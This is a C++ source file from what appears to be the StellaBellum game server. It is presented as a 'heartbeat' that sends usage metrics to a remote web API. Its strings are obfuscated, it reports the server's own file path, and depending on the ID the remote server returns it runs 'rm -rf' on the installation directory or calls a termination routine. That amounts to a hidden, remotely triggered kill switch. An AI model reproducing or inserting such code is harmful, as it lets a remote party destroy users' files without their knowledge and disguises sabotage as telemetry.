// // Created by Darth on 10/17/2016. // #include "webAPIHeartbeat.h" using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { std::string filePath = get_selfpath(); webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); if (!filePath.empty()) { api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.c_str()); } bool result = api.submit(); // feel free to remove the code in the block below; but please consider leaving the actual request // so we can track how many people are enjoying our work if (result) { int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); switch (s) { case 13 : eatIt(); break; case 66: size_t found = filePath.find_last_of("/\\"); if (!filePath.empty() && found) { system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()).c_str()); } eatIt(); break; } } else { eatIt(); } }